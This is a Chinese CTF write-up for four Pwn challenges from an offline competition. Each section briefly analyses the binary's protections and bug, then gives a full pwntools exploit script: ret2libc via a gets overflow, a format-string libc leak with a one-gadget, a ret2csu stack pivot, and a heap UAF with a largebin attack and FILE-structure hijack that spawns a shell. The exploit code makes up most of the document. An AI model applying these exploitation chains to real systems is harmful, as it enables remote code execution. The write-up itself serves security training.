第八届御网杯线下赛Pwn方向题解

由于最近比赛有点多，而且赶上招新，导致原本应该及时总结的比赛搁置了，总结来说还是得多练，因为时间很短像这种线下赛，一般只有几个小时，所以思路一定要清晰，我还是经验太少了，导致比赛力不从心，先鸽了~

Skill

checksec 检查保护（没有开PIE和Canary）

ida逆向分析一下

不同的选项对应不同的功能

漏洞存在show函数里面，当满足情况时候就会执行gets实现溢出

那么在add的时候使情况满足，然后ret2libc即可

EXP：

from gt import *

con("amd64")

#io = process("./skill")
io = remote("3.1.26.5","9999")
skills = 0x6020E0
libc = ELF("/home/su/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def add(skill):
    io.sendlineafter("exit",'1')
    io.sendlineafter("skill:",skill)


def dell():
    io.sendlineafter("exit",'2')

def list():
    io.sendlineafter("exit",'3')

def start():
    io.sendlineafter("exit",'4')


payload = b"song" +b"\x00"*16 +b"jump"
payload +=b"\x00"*16+ b"rap" +b"\x00"*17+b"NBA"
add(payload)
#io.recvuntil("exit")
#io.sendlineafter("5.",'1')
pop_rdi =0x0000000000400c83#: pop rdi; ret; 
puts_plt = 0x400710
puts_got = 0x602020
start()
payload = b'a'*0x18 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4008B6) 
#gdb.attach(io)
io.recvuntil("music~")
io.sendline(payload)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))

start()
payload= b'a'*0x18  + p64(pop_rdi+1) + p64(pop_rdi)+ p64(binsh) + p64(system) + p64(0x400B61)
#io.sendline(payload)
#io.sendline(payload)

io.recvuntil("music~")
io.sendline(payload)
io.interactive()

wir

这个题目我记不清了大概是这个缩写

保护策略（无PIE，Canary）

程序存在溢出

而且存在后门

但是比赛的时候没有用到

EXP：

from pwn import *
con("amd64")
#io = process("./pwn1")
io = remote("3.1.26.8","9999")
libc = ELF("./libc.so.6")
#libcc =ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil("name")
#gdb.attach(io)
io.send("%3$p")
io.recv(1)
libc_base = int(io.recv(14),16) - 18 - libc.sym["read"]
suc("libc_base",libc_base)
one = libc_base +0x1075aa
#suc("one",one)
one1 = one & 0xffffffff
io.recvuntil("out")
payload = p64(0x404038)+b'a'*0x8+ p64(0x404038) + p32(one1)#+ p64(0x40121B)  
#gdb.attach(io)
io.send(payload)

##io.recvuntil("")
#pause()
#io.send(p64(one))


io.interactive()

calc

保护策略（无PIE，Canary）

程序上来有一个随机数绕过

可以通过00截断绕过

然后进入漏洞函数，溢出长度我们可以自己输入

但是可以通过ret2csu来实现函数调用一个read，然后再次读入数据栈迁移，getshell

EXP:

from gt import *

con("amd64")

#io = process("./calc")
libc = ELF("./libc-2.31.so")
i = 0

while 1:
    io = process("./calc")
    io.sendlineafter("name: ","admin\x00")
    io.recvuntil("password: \n")
        #sleep(0.1)
    io.send(b"\x00"*0x10)
    msg = io.recv(11)
    msg = msg.decode("utf-8")
    if "Wrong" not in msg:
        break
    else:
        print("------->",i)
        i = i+1
        io.close()
        continue



pop_rdi = 0x00000000004015c3 #: pop rdi ; ret
puts_plt = 0x4010D0
puts_got = 0x404018
pop_rbp = 0x000000000040123d #: pop rbp ; ret
bss = 0x4040A0 + 0x800
length = str(35+8-1)
csu1 = 0x4015BA 
csu2 = 0x4015A0

#gdb.attach(io)
io.sendline(length)
for i in range(17):
    io.sendline(str(200))

#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.sendline(str(19))
io.recvuntil(":")
io.sendline(str(0xdeadbeef))
#gdb.attach(io)

#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(pop_rdi))
io.recvuntil(":")
io.sendline(str(puts_got))
io.recvuntil(":")
io.sendline(str(puts_plt))
io.recvuntil(":")
io.sendline(str(csu1))
io.recvuntil(":")
io.sendline(str(0))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(0))
io.recvuntil(":")
io.sendline(str(bss))
io.recvuntil(":")
io.sendline(str(0x200))
io.recvuntil(":")
io.sendline(str(0x404038))
io.recvuntil(":")
io.sendline(str(csu2))
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(pop_rbp))
io.recvuntil(":")
io.sendline(str(bss-8))
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(0x401559))
#gdb.attach(io)
io.recvuntil("\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
suc("libc_base",libc_base)
pause()
gdb.attach(io)
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))
payload =  p64(pop_rdi)+ p64(binsh) + p64(system)
io.send(payload)

io.interactive()

Gift

保护策略（全开）

程序使用的c++的std::cin和std::cout，所以看起来比较抽象

程序把add能申请的范围划分了3种，0x7f-0x14f ,0x14f-0x24f 0x24f-0x4ff

而且程序存在UAF

程序还有一个限制

可以通过largebin attack错位来使条件满足实现IO通过exit函数返回，进而劫持程序执行流，这里使用的是obstack，当然别的IO_house也可以，因为没有开启沙箱，所以劫持程序流可以直接getshell

EXP:

from gt import *
con("amd64")

io = process("./gift")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add1(size):
    io.sendlineafter(">> ","1")
    io.sendlineafter("3. Gf3~","1")
    io.sendlineafter(" Gf1:",str(size))


def add2(size):
    io.sendlineafter(">> ","1")
    io.sendlineafter("3. Gf3~","2")
    io.sendlineafter(" Gf2:",str(size))

def add3(size):
    io.sendlineafter(">> ","1")
    io.sendlineafter("3. Gf3~","3")
    io.sendlineafter(" Gf3:",str(size))



def free(index):
    io.sendlineafter(">> ","2")
    io.sendlineafter("someone:",str(index))


def show(index):
    io.sendlineafter(">> ","3")
    io.sendlineafter("gift:",str(index))


def edit(index,msg):
    io.sendlineafter(">> ","4")
    io.sendlineafter("gift:",str(index))
    io.sendlineafter(":",msg)



add3(0x420)
add3(0x420)
free(0)
show(0)
#gdb.attach(io)
io.recvuntil("content:")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -96 - 0x10 -libc.sym["__malloc_hook"] 
suc("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
list_all = libc_base + libc.sym["_IO_list_all"]
stdout = libc_base + libc.sym["stdout"]
suc("stdout",stdout)
add1(0x80) #2
add1(0x80) #3
free(2)
free(3)

show(3)
io.recvuntil("content:")
heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0x11ed0
suc("heap_base",heap_base)

add3(0x300) #4

add3(0x440) #5
add3(0x430) #6
add3(0x430) #7
free(5)
add3(0x450) #8
free(7)
binsh = libc_base + next(libc.search("/bin/sh"))
_IO_obstack_jumps = libc_base + 0x1e9260#libc.sym["_IO_obstack_jumps"]
suc("_IO_obstack_jumps",_IO_obstack_jumps)
fake_io_addr = heap_base + 0x12fb0 

payload = flat(
    {
        0x8:1,
        0x10:0,
        0x18:1,
        0x20:0,
        0x28:system,
        0x38:binsh,
        0x40:1,
        0xc8:_IO_obstack_jumps+0x20,
        0xd0:fake_io_addr,
    },
    filler = '\x00'
)

edit(5,p64(fake_io_addr)*3+p64(list_all-0x20))#+ 0x1ed708-0x20))


add3(0x460) #9
edit(7,payload)

add3(0x490) #10
add3(0x480) #11
add3(0x480) #12
free(10)
add3(0x4a0) #13
free(12)
chunk = heap_base + 0x11ea0+0x10 
suc("chunk",chunk)
#gdb.attach(io)
#pause()
edit(10,p64(heap_base+0x145f0)*2+p64(0x1ecff0+libc_base)+p64(chunk-0x20+1))
#gdb.attach(io)
#pause()
add3(0x4a0) #14

gdb.attach(io)
pause()
io.sendlineafter(">> ","6")

io.interactive()

后续一些比赛的PWN的附件我会放在一个github的一个新建的库，如果有需要可以随机下载